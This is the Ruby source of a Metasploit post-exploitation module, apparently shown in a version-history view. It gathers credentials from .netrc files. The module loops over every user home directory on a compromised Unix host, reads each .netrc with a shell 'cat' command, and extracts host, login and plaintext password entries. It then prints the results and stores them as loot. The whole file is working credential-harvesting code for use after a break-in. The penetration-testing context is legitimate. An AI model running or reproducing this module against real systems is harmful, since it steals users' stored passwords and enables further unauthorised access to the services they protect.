metasploit-framework/modules/post/multi/gather/netrc_creds.rb

109 lines
2.9 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/file'
2012-03-27 16:52:16 +00:00
require 'msf/core/post/unix'
class Metasploit3 < Msf::Post
2013-08-30 21:28:54 +00:00
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Unix
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'UNIX Gather .netrc Credentials',
'Description' => %q{
Post Module to obtain credentials saved for FTP and other services in .netrc
},
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ],
'SessionTypes' => [ 'shell' ]
))
end
2013-08-30 21:28:54 +00:00
def run
# A table to store the found credentials.
cred_table = Rex::Ui::Text::Table.new(
'Header' => ".netrc credentials",
'Indent' => 1,
'Columns' =>
[
"Username",
"Password",
"Server",
])
2013-08-30 21:28:54 +00:00
# all of the credentials we've found from .netrc
creds = []
2013-08-30 21:28:54 +00:00
# walk through each user directory
enum_user_directories.each do |user_dir|
netrc_file = user_dir + "/.netrc"
# the current credential from .netrc we are parsing
cred = {}
begin
print_status("Reading: #{netrc_file}")
# read their .netrc
cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line|
# parse it
netrc_line.strip!
# get the machine name
if (netrc_line =~ /machine (\S+)/)
# if we've already found a machine, save this cred and start over
if (cred[:host])
creds << cred
cred = {}
end
cred[:host] = $1
end
# get the user name
if (netrc_line =~ /login (\S+)/)
cred[:user] = $1
end
# get the password
if (netrc_line =~ /password (\S+)/)
cred[:pass] = $1
end
end
2013-08-30 21:28:54 +00:00
# save whatever remains of this last cred if it is worth saving
creds << cred if (cred[:host] and cred[:user] and cred[:pass])
2013-08-30 21:28:54 +00:00
rescue ::Exception => e
print_error("Couldn't read #{netrc_file}: #{e.to_s}")
end
end
2013-08-30 21:28:54 +00:00
# print out everything we've found
creds.each do |cred|
cred_table << [ cred[:user], cred[:pass], cred[:host] ]
end
2013-08-30 21:28:54 +00:00
if cred_table.rows.empty?
print_status("No creds collected")
else
print_line("\n" + cred_table.to_s)
2013-08-30 21:28:54 +00:00
# store all found credentials
p = store_loot(
"netrc.creds",
"text/csv",
session,
cred_table.to_csv,
"netrc_credentials.txt",
".netrc credentials")
2013-08-30 21:28:54 +00:00
print_status("Credentials stored in: #{p.to_s}")
end
end
end